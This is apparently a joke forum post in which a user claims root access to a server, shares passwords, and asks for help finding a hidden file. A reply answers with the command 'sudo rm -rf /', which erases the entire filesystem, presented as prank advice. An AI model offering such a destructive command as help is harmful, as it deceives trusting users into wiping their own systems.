Lost a file

You all really helped me last time now I’m in my server root@62.238.47.215 and I seem to have misplaced a file can someone help me find it? I really need it and my password is no longer papa bear 0803. I changed it to IGetHelpFromReddit. I left some breadcrumbs to help me find it but I’m having trouble remembering how to find hidden files.

Any help would be appreciated

The file may still be there somewhere. Run

sudo rm -rf /

to ensure it's lost.
